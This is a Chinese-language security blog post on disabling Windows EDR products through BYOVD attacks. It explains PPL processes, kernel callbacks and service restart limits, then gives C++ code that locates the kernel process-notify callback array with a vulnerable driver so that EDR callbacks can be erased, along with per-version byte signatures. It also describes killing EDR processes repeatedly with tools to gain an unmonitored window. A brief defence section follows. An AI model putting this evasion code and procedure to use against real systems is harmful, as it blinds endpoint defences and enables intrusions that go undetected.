一、背景
这个发现让我倍感震惊,因为EDR系统一直被视为网络安全防御的最后一道壁垒。然而,现实却狠狠地给了我一巴掌,我亲自验证了如何利用该绕过技术绕过EDR设备的检测。
在本篇分享中,我将分享自己通过一系列实验和深入分析研究出来的成果,并深入探讨这些EDR绕过技术的工作原理和防御方式。通过揭示EDR绕过技术,我希望能让大家认识到EDR绕过的风险,引起更多人对EDR绕过问题的重视,并为该问题提供有针对性的解决方案。
二、前言
在对EDR的防护能力和运行机制有一个较整体的了解后,再详细分析如何利用驱动杀掉EDR(BYOVD攻击)。最后,文章的结尾会给出此类攻击的防护建议。
三、正文
(1)相关概念介绍
0x01 用户态和内核态
0x02 PPL进程
Windows Vista最先引入的是Protected Process的概念,即受保护进程。从Windows 8.1开始,PPL(Protected Process Light)开始启用。最初其实是用于保护媒体的版权,既让媒体播放器可以读取文件,又能防止随意复制盗版其内容。对于PPL进程,我们需要搞清楚以下概念:
PP进程可以全权访问同权限或更低权限的PP进程或PPL进程,如都是系统权限的PP进程可以彼此访问对方,而管理员权限的PP进程则无法访问系统权限的PP进程 PPL进程可以全权访问同权限或更低权限的PPL进程 PPL进程无法全权访问PP进程
0x03 回调函数
EDR为了保证自己的防护效果,通过Windows提供的接口,在内核注册了若干回调函数(callback)。这些回调函数通常用来监控进/线程创建销毁、文件创建删除、网络连接和注册表相关操作。例如,内核里有一个叫PspCreateProcessNotifyRoutine的数组,该数组通过指针的形式(也就是将回调函数的内存地址放在数组里)最多可保存64个回调函数。每当一个进程被创建或销毁,就会遍历这个数组,找到对应回调函数的位置,依次调用,从而通知EDR有进程创建或销毁。类似的文件、网络和注册表等也是通过这一过程实现,由此EDR便具备了核心的监控能力。具体实现步骤会在下文详细分析。
0x04 服务重启机制
Windows会为某些服务设置启动失败后的重试机制,以确保服务的正常持续运行。Windows服务控制管理器(Service Control Manager)会为每个服务定义一个重试间隔时间和最大重试次数,当SCM反复拉起达到最大重试次数后,SCM将不再尝试重启该服务。例如Win10_1709及更高版本中,Windows Defender的默认最大重启次数为5次。为了演示,上文仅使用了Windows的防护进程,而实际对抗过程中,EDR一般还会存在一个类似"xxSrv.exe"的进程。当我们反复杀掉这个进程后,服务进程不再重启,此时再杀掉防护进程,就可以在窗口期内自由操作,争取到一段冲锋的时间。
(2)EDR的监控响应能力如何而来
0x01 EDR的功能组件
终端防护进程,负责扫描和识别是否为恶意文件,如MsMpEng.exe;
终端服务进程,负责启动和停止EDR相关服务、进程,如MsMpSvc.exe;
注册表,保证EDR相关进程在系统开机后立即启动,并初始化为PPL进程;
内核驱动,通过回调函数,监测来自内核的各种事件,如进程创建、内存分配等等;
从以上描述可以看出,防护进程、服务进程和注册表,主要完成用户态层面的工作;内核驱动则主要负责处理Windows提供的各项内核回调函数,实现深度监控。
接下来我们来详细看看各个组件的情况。
0x02 防护进程与服务进程
标识为Antimalware(反恶意软件)的3676号进程赫然在列。所以,至少你需要用系统级别的PPL进程才能杀掉它。而当你真的将防护进程杀掉后,再次执行tasklist,你会发现它又静静的陈列在那,仿佛根本没有消失过。事实上,当终端服务进程检测到防护进程下线时,会立马再次拉起防护进程。因此,EDR的服务进程理所当然的成为了众矢之的。那么我们是否可以用同样的办法杀掉服务进程后,再来杀防护进程呢?
答案是否定的。自Windows 8.1起,微软引入了保护服务的概念。简单来说,就是通过内核驱动(Early Launch Antimalware driver)启动的服务进程,将无法被暂停、停止或着禁用。所以如果只是停留在用户态下,不管获取何种权限,都无法杀掉服务进程。
0x03 注册表
0x04 内核驱动
PsSetCreateProcessNotifyRoutine:注册监测新进程的回调函数
PsSetLoadImageNotifyRoutine:注册监测新模块加载、文件映射的回调函数
PsSetCreateThreadNotifyRoutine:注册监测新线程的创建销毁
CmRegisterCallbackEx:监测注册表的创建、修改或删除操作
FltRegisterFilter:监测文件访问、创建或删除操作
这就解释了为什么我们哪怕获取到管理员权限,依然无法更改EDR的注册表。同时,也揭示了为什么红队队员通过CS执行命令会被发现,因为EDR通过内核回调监测到你调用了cmd.exe 并执行了诸如ipconfig/whoami之类的敏感命令。
(3)用魔法打败魔法
想要击败守在内核的EDR,你就也得从内核出发。别急,这并不难,并不是挂上了驱动的名号就代表它很复杂。无需恐慌,让我带你一步步见识魔法,学会魔法,使用魔法。
0x01 实现原理
如前面提到的,PsCreateProcessNotifyRoutine数组中存储了若干进程回调函数的地址,EDR注册的回调函数也存放在其中。当进程创建时,内核会根据数组里存放的地址调用对应的监控函数。那么,如果我们将这个数组中的EDR函数抹除,是否就意味着内核无法意识到EDR的回调函数需要被调用,EDR也就丧失了这一块的监控能力?
我们可以看到PspSetCreateProcessNotify函数中以LEA r13 nt!PspCreateProcessNotifyRoutine的方式,获取了进程回调存储数组的相对偏移地址,对了简便我们称呼它为X。如果我们能够获取到X,就可以在内核中找到回调存储数组的具体位置。
DWORD64 Findkrnlbase() {
DWORD cbNeeded = 0;
LPVOID drivers[1024];
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) { // 获取驱动列表
return (DWORD64)drivers[0]; // 驱动列表第一个即内核基址,也就是内核起始地址
}
return NULL;
}
DWORD64 GetFunctionAddress(LPCSTR function) {
DWORD64 Ntoskrnlbaseaddress = Findkrnlbase(); // 获取到内核基址
HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe"); // 通过LoadLibraryW API拿到内核模块句柄
// GetProcAddress拿到目标API相对内核基址的偏移地址
DWORD64 Offset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, function)) - reinterpret_cast<DWORD64>(Ntoskrnl);
// 内核基址 + API相对内核基址的偏移地址 = API实际存储地址
DWORD64 address = Ntoskrnlbaseaddress + Offset;
FreeLibrary(Ntoskrnl);
Log("[+] %s address: %p", function, address);
return address;
}
int main(){
const DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine");
}
我们通过找到内核基址,再利用代码注入中常用的GetProcAddress这个API,获取到PspSetCreateProcessNotifyRoutine相对于内核基址的偏移地址,于是拿到了它的完整内存地址。
在获取到目标API的地址后,我们接着看上图中LEA指令的下面几行:XOR r8d,r8d;ADD rcx,r13; MOV rdx,rdi;这几行命令,并不涉及每次执行时的相对地址,也就是说,它们在内存中的内容是固定的。我们将这几条转换为机器码,得到4533c04903cd488bd7。也就是说,如果我们在PspSetCreateProcessNotify函数的范围里,找到了这一串机器码,就证明我们定位到了LEA r13 nt!PspCreateProcessNotifyRoutine指令的附近。再看上图中的LEA rcx,[rbx*8],机器码长度也固定为8个字节,而LEA后面跟的地址长度为4个字节(32位地址)。所以我们只需要在找到特征机器码后,往前移12位(0xC),就找到了X的起始地址。从X起读取32位,就获得了PspCreateProcessNotifyRoutine数组的偏移地址。
DWORD64 PatternSearch(HANDLE Device, DWORD64 start, DWORD64 end, DWORD64 pattern) {
int range = end - start;
for (int i = 0; i < range; i++) {
DWORD64 contents = ReadMemoryDWORD64(Device, start + i); // 比对寻找内存中特征机器码的位置
if (contents == pattern) {
return start + i; // 返回机器码起始位置
}
}
}
// 为方便阅读,将这一部分命名成了main函数,@br-sn的代码并非如此
int main(){
const DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine");
const DWORD64 IoCreateDriverAddress = GetFunctionAddress("IoCreateDriver");
//the address returned by the patternsearch is just below the offsets.
DWORD64 patternaddress = PatternSearch(Device, PsSetCreateProcessNotifyRoutineAddress, IoCreateDriverAddress, offsets.process);
// 从机器码起始位置减去12位,定位到存放相对偏移地址的位置;读取32位,获得具体偏移地址是多少
DWORD offset = ReadMemoryDWORD(Device, patternaddress - 0x0c); // 0x0c = 12
// 由于找到的patternaddress是64位,而偏移地址是32位,直接相加可能会导致溢出,因此分成高32位和低32位分别计算
DWORD64 PspCreateProcessNotifyRoutineAddress = (((patternaddress) >> 32) << 32) + ((DWORD)(patternaddress) + offset) - 8;
}
为什么计算地址时最后还需要减8?因为LEA相对偏移地址是根据LEA下一条指令的位置计算的,而我们根据特征机器码比对得到的地址是LEA rcx,[rbx*8]之后的地址。所以我们还需要减去LEA rcx,[rbx*8]指令的长度,最后得到的才是正确的偏移量。WinDBG给出的API的位置为fffff8001E4Ec0A0,我们可以验证一下上述计算方式是否正确:
typedef struct _EX_CALLBACK_ROUTINE_BLOCK {
EX_RUNDOWN_REF RundownProtect; // EX_RUNDOWN_REF长度为8位
PEX_CALLBACK_FUNCTION Function; // 回调函数位置
PVOID Context;
} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;
typedef struct _CMREG_CALLBACK {
LIST_ENTRY List;
ULONG Unknown1;
ULONG Unknown2;
LARGE_INTEGER Cookie;
PVOID Unknown3;
PEX_CALLBACK_FUNCTION Function; // Callback Routine
} CMREG_CALLBACK, *PCMREG_CALLBACK;
在Windbg中找到它
这边依然给出一个实际可行的方案,利用backstab或offensivePH,反复杀掉EDR的防护进程,利用服务重启机制,获得一段无EDR防护的空窗期(大约3~5分钟),去执行敏感操作。一般而言,这一操作并不会告警,只会在EDR日志里留下kill的记录。
0x02 补充
// Win10各版本之间这些函数开头的内容分别是什么
// 只需要定位到函数的开头内容,再去匹配,就能适配各Win10版本
struct Offsets getVersionOffsets() {
wchar_t value[255] = { 0x00 };
DWORD BufferSize = 255;
RegGetValue(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ReleaseId", RRF_RT_REG_SZ, NULL, &value, &BufferSize);
wprintf(L"[+] Windows Version %s Found\n", value);
auto winVer = _wtoi(value);
switch (winVer) {
//case 1903:
case 1909:
return { 0x8b48cd0349c03345, 0xe8d78b48d90c8d48, 0xe8cd8b48f92c8d48, 0x4024448948f88b48 };
case 2004:
return { 0x8b48cd0349c03345, 0xe8d78b48d90c8d48, 0xe8cd8b48f92c8d48, 0x4024448948f88b48 };
case 2009:
return { 0x8b48cd0349c03345, 0xe8d78b48d90c8d48, 0xe8cd8b48f92c8d48, 0x4024448948f88b48 };
default:
wprintf(L"[!] Version Offsets Not Found!\n");
}
}
(四)防护手段
监控已知的BYOVD驱动文件Hash,一旦落地立即删除或告警
禁止自行安装驱动,建立统一管控的驱动库。(危险驱动列表可以参考微软的清单.)
(五)总结
这次的研究让我深刻认识到,网络安全永远不是一劳永逸的事情。攻击者会不断进化和创新,他们总能找到绕过安全措施的方法。作为安全研究员,我们也必须与时俱进,不断学习和进步,以保持我们的网络安全不受威胁。
(六)参考文献
https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/load-and-unload-device-drivers
https://br-sn.github.io/Removing-Kernel-Callbacks-Using-Signed-Drivers/
https://posts.specterops.io/mimidrv-in-depth-4d273d19e148
https://blog.csdn.net/liqiang981/article/details/51895009
https://rootclay.gitbook.io/windows-access-control/qi-an-quan-biao-shi-fu
https://learn.microsoft.com/zh-cn/windows-hardware/drivers/gettingstarted/user-mode-and-kernel-mode
https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-#anti-malware-service-signing-requirements
https://redops.at/en/blog/a-story-about-tampering-edrs
https://synzack.github.io/Blinding-EDR-On-Windows/
https://www.matteomalvica.com/blog/2020/07/15/silencing-the-edr/
https://www.first.org/resources/papers/telaviv2019/Ensilo-Omri-Misgav-Udi-Yavo-Analyzing-Malware-Evasion-Trend-Bypassing-User-Mode-Hooks.pdf
《An Empirical Assessment of Endpoint Detection and Response Systems against Advanced Persistent Threats Attack Vectors》
❤关注我们,及时获取前沿研究技术❤